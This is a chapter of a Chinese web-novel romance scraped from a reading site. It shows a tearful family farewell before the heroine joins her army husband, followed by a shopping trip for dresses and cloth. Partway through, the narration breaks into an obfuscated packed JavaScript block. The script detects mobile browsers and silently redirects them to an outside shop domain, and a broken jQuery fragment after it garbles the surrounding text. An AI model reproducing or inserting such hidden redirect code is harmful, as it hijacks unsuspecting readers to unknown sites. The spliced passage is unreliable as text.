文趣网 > 其他小说 > 年代文的作精女配随军后 > 22. 第 22 章
    第22章

    两人正说着,季云霆和何秋霞来了。孟广泽和王婉如跟在他们身后,孟云珍和孟崇文两口子走在最后面,孟云珍手里还提着一个小包袱。

    何秋霞一进门就拉住季云姝的手,上下打量了一遍,又看了看她的脸色,松了一口气:“气色还不错,累不累?睡好了没有?”

    季云姝被问得脸红,含糊地嗯了几声,把话题岔开了:“妈,你们怎么都来了?”

    “老孟和王妹子还有你哥他们要回苏市了,临走前来看看你。”何秋霞说着,把季云姝推到王婉如跟前去。

    王婉如走过来,从兜里掏出一个布包,塞到季云姝手里。季云姝打开一看,里面又是一沓钱,还有一叠粮票、布票,特别厚,少说也有百来块钱。

    “拿着。”王婉如按住季云姝的手,声音有点哑,“到琼州岛那么远,坐火车的路上买点吃的,别省着。到了岛上要是缺什么,写信回来,妈给你寄。”

    “妈,上次已经给过了……”季云姝想推回去。

    王婉如没松手,眼眶红红的:“上次是上次的,这次是这次的。你一个人去那么远的地方,妈不在身边,能多给你一点是一点。”

    季云姝的鼻子酸了,把钱和票收好,点了点头。

    孟广泽站在旁边,没怎么说话,只是看了季云姝好几眼,目光里全是不舍。他张了张嘴,想说点什么,最后只说了句:“到了岛上,跟小裴好好过日子。”

    季云姝“嗯”了一声,“我知道的,爸。”

    孟崇文和甘棠也上来对季云姝说了几句话。季云姝虽然跟大哥大嫂实在不熟,但两人对她态度还是很和善关心的,便也安静地回了几句。

    最后,孟云珍抱了抱季云姝,让她去了岛上写信给她。

    这边,季云霆站在门口,两只手插在裤兜里。他看了裴聿风一眼,朝他走过去。

    “裴聿风。”季云霆很少叫裴聿风全名,裴聿风知道他有事要说,转过头与他直视。

    季云霆比他矮一点点,但站在那儿的气势一点不弱。他看着裴聿风的眼睛,一个字一个字地说:“小姝以前是我妹妹,以后也是我妹妹,从小到大我们全家都把她捧在手心里养,没让她受过一点委屈,你要是敢对她不好——”

    他顿了一下,少有用警告的语气跟裴聿风指了指他的脸:“你就给我等着。”

    裴聿风看着他,没有躲,也没有笑。他点了一下头,声音不大但很郑重:“我不会。”

    季云霆盯了他两秒,伸手在他肩膀上捶了一下,没再说什么。

    何秋霞站在旁边,看着这一幕,眼泪终于掉下来了。她擦了擦眼睛,走过来拉着季云姝的手,声音断断续续的:“海岛那么远……坐火车要三天两夜,到了还要再坐船……你身体本来就不好,路上要是吃不消怎么办……谁来照顾你……”

    季云姝反握住何秋霞的手,心里又酸又暖:“妈,裴大哥会照顾我的。你别担心。”

    季海国站在何秋霞身后,没怎么说话,但眼眶也红红的。他看着季云姝,喉结动了一下,最后只说了一句:“到了拍电报回来。”

    季云姝点了点头。

    王婉如又走过来,拉着季云姝的手不放,眼泪在眼眶里打转,但忍着没掉下来。孟广泽轻轻揽住她的肩膀,低声说:“走吧,再晚赶不上车了。”

    王婉如这才松开手,一步三回头地跟着孟广泽走了。孟云珍跟在她身后,冲季云姝摆了摆手,无声地说了句“保重”。

    季云姝站在门口,看着他们的背影走远,直到看不见了,才转过身来。

    何秋霞还站在院子里,眼泪擦了一遍又一遍。季海国在旁边拍着她的背,没说话,但手一直没停。季云霆靠在门框上,低着头,不知道在想什么。

    季云姝看着他们,忽然觉得心里满登登的,像是被温水浸泡着,暖洋洋的,从心口一直漫到眼眶里。

    她有这么多人爱着。

    她的养父母、亲生父母、哥哥、姐姐,还有姥姥和裴聿风。

    季云姝从不怀疑自己的值得被爱,她本来就应该是这样简单却幸福的,所以她一定不会让梦里的事情发生,一件都不可以!

    季云姝吸了吸鼻子,把眼泪忍住了。她走过去,挽住何秋霞的胳膊,把头靠在她肩上,像小时候那样。

    “妈,我以后会常写信回来的。”季云姝把眼泪故意蹭在她肩膀上,“你别哭,你一哭我也想哭。”

    何秋霞被她逗得破涕为笑,伸手在她手背上拍了一下:“行,我不哭了,你把眼泪憋回去,我才换的新衣服,都被你弄湿了。你好好收拾东西,别落下什么。”

    季云姝点点头,“知道了,妈。”

    何秋霞和季海国也离开以后,又休息了会儿,外面的温度没那么热了,裴聿风就准备带着季云姝去买新衣服。

    季云姝换了件出门的衣裳,是一件白色浅底碎花的翻领连衣裙,也是前几天刚买的。她在镜子前照了照,把头发重新梳了一遍扎成双麻花辫盘起来,觉得太刻意了,又拆了重新扎了个简单的辫子。季云姝扎好了又觉得只单纯扎一个侧边的麻花辫又有点太随意了,想再拆开重来,手搭在辫梢上犹豫了一下,干脆直接问裴聿风:“你觉得是单边好看还是两边都扎好看?”

    裴聿风没有任何犹豫:“都好看。”

    季云姝:“……”

    就知道他们男人分不出什么这些。季云姝对着镜子捧着脸臭美了一会儿,觉得她这张脸无论怎么扎头发都衬得她唇红齿白,也就不再纠结,高高兴兴地起身跟裴聿风出门了。

    一路上,两个人都走的非常慢,裴聿风走在季云姝身侧,余光一直跟着她,两个人手臂挨着手臂,裴聿风似乎是想让季云姝半靠着他走路。

    其实季云姝已经没有那么难受了,酸痛的腿已经好转了很多,所以她不动声色往旁边移了点。

    季云姝收手臂的时候裴聿风看见了,嘴角微微动了一下,没说什么。等她的手臂重新放回来,他又轻轻地靠过去一点,手臂贴着她的手臂,仿佛追逐赛似的,一刻也不愿意分开。

    他挨的太近了,近到季云姝都能听到他的心跳,以至于季云姝不禁开始怀疑如果不是部队作风要求实在严格,军人和家属不能在公共场合搂搂抱抱,不然裴聿风估计又会把她打横抱着走。

    季云姝一想到早上被裴聿风抱着下楼还被姥姥看见了就脸红!

    她是很喜欢被裴聿风这样伺候着的,但前提是没有别的人。她可以颐指气使地命令裴聿风做任何事,他必须得做,但她也会在其他人面前给裴聿风尊重和面子,尽管裴聿风好像并不在意。

    公交车来了,车上人不多。裴聿风让季云姝先上,自己跟在她后面。车上空座不少,季云姝坐在靠窗的位置,裴聿风坐在她旁边。车窗开着,风吹进来,清凉且惬意。她伸手去拨,手指碰到脸颊的时候,发现裴聿风在看她的手。

    他的目光落在她手指上,看了两秒,又移到她的脸上,然后很快转过去,看向车窗外。但他的坐姿比刚才直了一些,放在膝盖上的手微微蜷了一下,像是在忍什么。

    季云姝把手放下来,搁在膝盖上。她的手离裴聿风的手很近,近到能看见他手背上的青筋。他的手指很长,骨节分明,指甲修得整整齐齐,和季云姝已经长突出来的指甲完全不同。她盯着他的手看了两秒,心跳忽然快了一拍,赶紧把目光移开,看向车窗外的街景。

    季云姝决定回去了就立马剪指甲,然后用指甲花给她的指甲新染个色。如果可以的话,她还想带盆指甲花到岛上去,就是不知道能不能养活,她可不想让她的指甲光秃秃的!

    公交车很快就到了百货大楼,裴聿风先下车,站在车门旁边等季云姝。季云姝踩上车门踏板的时候,他伸出手扶了她一把。

    他的手握在她的小臂上,握了一下就松开,快得像什么都没发生过,但那个位置留下了一小片烫烫的温度。季云姝低头看了一眼,小臂上还有他手指的印子,浅浅的一触,却让她心思摇曳

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17625136|205867||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。

    季云姝装作不在意地拢了一下头发,面无表情地走在裴聿风前面半步,等他追上来,两个人并排走进百货大楼。

    百货大楼一楼是日用百货,二楼是布料和成衣,成衣柜台在布料柜台旁边。

    成衣柜台后的墙上挂着几件样品裙子,季云姝的目光从左边扫到右边,在一件浅蓝色的碎花长裙上停了一下。裙子的领口有一圈小花边,腰身收得细细的,裙摆到小腿,挂在那里像一朵没开的花。

    裴聿风顺着她的目光看过去,对售货员说:“那件拿下来试试。”

    售货员拿下来,季云姝接过去,在身上比了比。裙子的腰身刚好卡在她最细的地方,领口的小花边衬得她的脖子又细又白。她看了一眼镜子,又看了一眼裴聿风。

    裴聿风站在她身后从镜子里看她,季云姝也透着镜子看他。裴聿风的表情不再是平时那种安静的、克制的目光,他毫不吝啬地用眼神表达如果这件裙子穿在季云姝身上是会多么的惊艳。

    “好看。”裴聿风肯定地说。

    季云姝的脸红了一下,拿着裙子去试衣间换了。换好出来的时候,她站在镜子前,左转了一下,右转了一下。裙子很合身,腰身收得刚刚好,裙摆垂到小腿,走起路来轻轻晃着,像水里荡开的涟漪。

    裴聿风站在她身后,目光从她的肩膀滑到腰,从腰滑到裙摆,一秒钟也没有移开过。他的喉结上下滚动着,嘴唇抿了又抿,似乎在压抑着什么。

    季云姝从镜子里对上他的目光,心跳漏了一拍,但依然昂起头坦然对上裴聿风的目光,“我也觉得好看,买吧。”

    “这件要了。”裴聿风说。之后他又指着旁边一件粉色的格纹长裙和一件灰色的背带裙让季云姝一起去试。

    季云姝连着试了六七条,把成衣柜台里她没有的样式都试了一遍,最后选择了裴聿风最开始挑的三条让售货员一起包起来。

    裴聿风大方地付了钱和布票,很乖顺地提着季云姝的新裙子跟她又去了布料柜台。

    布料柜台在二楼左手边。柜台上摆着成卷的布,棉的、的确良的、灯芯绒的……五颜六色,全都码在一起。季云姝走过去,伸手摸了摸一匹浅蓝色的布,摸了两下觉得手感不错,翻过来看了眼布边上的价格签,又把手缩了陪回来。

    普通的印花棉布竟然敢定价一尺六毛钱,它怎么不去抢!季云姝对别的事情一窍不通,唯独对各种布料的价格如数家珍。

    普通的印花布料最贵的一尺也不过四毛五,这个蓝色的印花确实少见,但也不至于贵这么多吧!六毛钱都够买一尺质量次一点的人造丝了!

    人造丝布料季云姝倒是决定买一点,这个布料轻薄透气,而且很稀缺,在岛上估计很难买到,也只有首都这样的城市的大商场才会有这样的好东西。

    季云姝于是问了售货员人造丝的位置,转过身去看那匹浅紫色碎花的人造丝布料。她手指在布面上慢慢地蹭着,眼睛看着花的纹样,嘴角微微翘了一点。

    之后季云姝看了眼价格,七毛一匹,算正常价,她很满意,但她还是打算比一下其他的款式。

    布料柜台的布料种类比成衣柜台的要多得多,光是人造丝就有快十种,只不过有几种季云姝觉得颜色不适合她。除此之外印花的纯棉布料就更多了,季云姝很喜欢纯棉的睡衣,打算买几卷颜色特别浅的做成睡衣和睡裙穿。

    裴聿风站在她身后,把她每个动作都看在眼里。

    她摸那匹浅蓝色的时候,瞳孔微微放大,手指停了两秒才收回来,似乎不太能理解这个布料的定价。她摸碎花布的时候,先是把布翻过来看了看布边的标签,没有立刻放下,而是又翻了回去,用手指在小碎花上描了一遍,那看来是比较喜欢了。

    裴聿风走过去,把那匹浅紫色的碎花布从柜台上拿起来,递给售货员:“这匹扯一卷。”

    季云姝放下手里的布料,转过身看他:“我先看看,还没决定要买哪个,你不要这样自作主张,我会不高兴。”